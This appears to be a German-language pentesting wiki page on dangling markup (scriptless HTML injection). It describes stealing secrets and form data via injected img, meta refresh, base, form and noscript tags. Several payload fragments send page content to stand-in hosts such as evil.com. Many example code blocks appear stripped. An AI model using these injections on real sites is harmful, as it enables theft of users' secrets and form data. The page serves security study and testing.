Dangling Markup - HTML scriptless injection
Zusammenfassung
Diese Technik kann verwendet werden, um Informationen von einem Benutzer zu extrahieren, wenn eine HTML-Injektion gefunden wird. Dies ist sehr nützlich, wenn Sie keinen Weg finden, eine XSS auszunutzen, aber Sie können einige HTML-Tags injizieren. Es ist auch nützlich, wenn ein Geheimnis im Klartext gespeichert ist und Sie es vom Client exfiltrieren möchten, oder wenn Sie die Ausführung eines Skripts irreführen möchten.
Einige hier kommentierte Techniken können verwendet werden, um einige Content Security Policy zu umgehen, indem Informationen auf unerwartete Weise exfiltriert werden (HTML-Tags, CSS, http-Metatags, Formulare, base...).
Hauptanwendungen
Klartextgeheimnisse stehlen
Wenn Sie <img src='http://evil.com/log.cgi?
injizieren, wird der Benutzer Ihnen beim Laden der Seite den gesamten Code zwischen dem injizierten img
-Tag und dem nächsten Anführungszeichen im Code senden. Wenn sich ein Geheimnis irgendwie in diesem Abschnitt befindet, werden Sie es stehlen (Sie können dasselbe tun, indem Sie ein doppeltes Anführungszeichen verwenden, schauen Sie sich an, was interessanter zu verwenden sein könnte).
Wenn das img
-Tag verboten ist (zum Beispiel aufgrund von CSP), können Sie auch <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
verwenden.
Beachten Sie, dass Chrome HTTP-URLs mit "<" oder "\n" blockiert, daher könnten Sie andere Protokollschemata wie "ftp" ausprobieren.
Sie können auch CSS @import
missbrauchen (es wird den gesamten Code senden, bis es ein ";")
Du könntest auch <table
verwenden:
Du könntest auch ein <base
Tag einfügen. Alle Informationen werden gesendet, bis das Anführungszeichen geschlossen ist, aber es erfordert eine Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das base-Tag die Domain ändert, auf die der Link zeigt):
Formulare stehlen
Dann senden die Formulare, die Daten an den Pfad senden (wie <form action='update_profile.php'>
), die Daten an die bösartige Domain.
Formulare stehlen 2
Setzen Sie einen Formularkopf: <form action='http://evil.com/log_steal'>
Dadurch wird der nächste Formularkopf überschrieben und alle Daten aus dem Formular werden an den Angreifer gesendet.
Formulare stehlen 3
Die Schaltfläche kann die URL ändern, an die die Informationen des Formulars gesendet werden sollen, mit dem Attribut "formaction":
Ein Angreifer kann dies verwenden, um die Informationen zu stehlen.
Finde ein Beispiel dieses Angriffs in diesem Bericht.
Klartextgeheimnisse stehlen 2
Mit der neuesten genannten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld einfügen:
und dieses Eingabefeld wird alle Inhalte zwischen seinem doppelten Anführungszeichen und dem nächsten doppelten Anführungszeichen im HTML enthalten. Dieser Angriff mischt "Klartextgeheimnisse stehlen" mit "Formulare stehlen2".
Sie können dasselbe tun, indem Sie ein Formular und ein <option>
-Tag einfügen. Alle Daten bis zu einem geschlossenen </option>
werden gesendet:
Form-Parameter-Injektion
Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass eine unerwartete Aktion ausgeführt wird:
Diebstahl von Klartextgeheimnissen über noscript
<noscript></noscript>
ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser kein JavaScript unterstützt (Sie können JavaScript in Chrome unter chrome://settings/content/javascript aktivieren/deaktivieren).
Ein Weg, um den Inhalt der Webseite vom Injektionspunkt bis zum Ende an eine vom Angreifer kontrollierte Website zu exfiltrieren, besteht darin, dies einzufügen:
Umgehung von CSP mit Benutzerinteraktion
Aus dieser Portswiggers-Forschung können Sie lernen, dass selbst in den am stärksten durch CSP eingeschränkten Umgebungen Sie immer noch mit etwas Benutzerinteraktion Daten exfiltrieren können. In diesem Fall werden wir das Payload verwenden:
Beachten Sie, dass Sie das Opfer bitten werden, auf einen Link zu klicken, der ihn zu einem von Ihnen kontrollierten Payload weiterleitet. Beachten Sie auch, dass das target
-Attribut innerhalb des base
-Tags HTML-Inhalte bis zum nächsten einfachen Anführungszeichen enthält.
Dadurch wird der Wert von window.name
, wenn der Link angeklickt wird, all diese HTML-Inhalte sein. Daher können Sie, da Sie die Seite kontrollieren, auf die das Opfer durch Klicken des Links zugreift, auf window.name
zugreifen und diese Daten exfiltrieren:
Irreführender Skript-Workflow 1 - HTML-Namespace-Angriff
Fügen Sie ein neues Tag mit einer ID innerhalb des HTML ein, das das nächste überschreiben wird und mit einem Wert, der den Ablauf eines Skripts beeinflussen wird. In diesem Beispiel wählen Sie aus, mit wem Informationen geteilt werden sollen:
Irreführender Skript-Workflow 2 - Skript-Namensraumangriff
Erstellen Sie Variablen innerhalb des JavaScript-Namensraums, indem Sie HTML-Tags einfügen. Diese Variable wird dann den Ablauf der Anwendung beeinflussen:
Missbrauch von JSONP
Wenn Sie eine JSONP-Schnittstelle finden, könnten Sie in der Lage sein, eine beliebige Funktion mit beliebigen Daten aufzurufen:
Oder Sie können sogar versuchen, JavaScript auszuführen:
Iframe-Missbrauch
Ein untergeordnetes Dokument besitzt die Fähigkeit, die location
-Eigenschaft seines Elternelements anzuzeigen und zu ändern, auch in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts innerhalb eines iframe, das den Client auf eine beliebige Seite umleiten kann:
Dies kann mit etwas wie folgt abgemildert werden: sandbox=' allow-scripts allow-top-navigation'
Ein iframe kann auch missbraucht werden, um sensible Informationen von einer anderen Seite preiszugeben, indem das iframe-Name-Attribut verwendet wird. Dies liegt daran, dass Sie ein iframe erstellen können, das sich selbst iframt und dabei die HTML-Injektion missbraucht, die dazu führt, dass die sensiblen Informationen im iframe-Name-Attribut erscheinen und dann diesen Namen vom ursprünglichen iframe aus abrufen und preisgeben können.
Für weitere Informationen siehe https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta-Missbrauch
Sie könnten meta http-equiv
verwenden, um mehrere Aktionen wie das Setzen eines Cookies auszuführen: <meta http-equiv="Set-Cookie" Content="SESSID=1">
oder eine Weiterleitung durchzuführen (in diesem Fall in 5 Sekunden): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Dies kann mit einem CSP in Bezug auf http-equiv vermieden werden (Content-Security-Policy: default-src 'self';
, oder Content-Security-Policy: http-equiv 'self';
)
Neues <portal-HTML-Tag
Sie können eine sehr interessante Forschung zu ausnutzbaren Schwachstellen des <portal-Tags hier finden.
Zum Zeitpunkt des Verfassens dieses Textes müssen Sie das Portal-Tag in Chrome unter chrome://flags/#enable-portals
aktivieren, damit es funktioniert.
HTML-Lecks
Nicht alle Möglichkeiten, um Konnektivität in HTML zu leaken, sind für Dangling Markup nützlich, aber manchmal könnte es helfen. Überprüfen Sie sie hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Lecks
Dies ist eine Mischung zwischen Dangling Markup und XS-Lecks. Einerseits ermöglicht die Schwachstelle das Einschleusen von HTML (aber nicht von JS) auf einer Seite mit der gleichen Herkunft wie die, die wir angreifen werden. Andererseits greifen wir nicht direkt die Seite an, auf der wir HTML einschleusen können, sondern eine andere Seite.
pageSS-LeaksXS-Suche/XS-Lecks
XS-Suche zielt darauf ab, Informationen über Kreuzherkunft auszuleiten, indem Seitenkanalangriffe missbraucht werden. Daher handelt es sich um eine andere Technik als Dangling Markup, jedoch missbrauchen einige der Techniken die Einbindung von HTML-Tags (mit und ohne JS-Ausführung), wie CSS-Injection oder Lazy Load Images.
pageXS-Search/XS-LeaksBrute-Force-Erkennungsliste
Referenzen
Last updated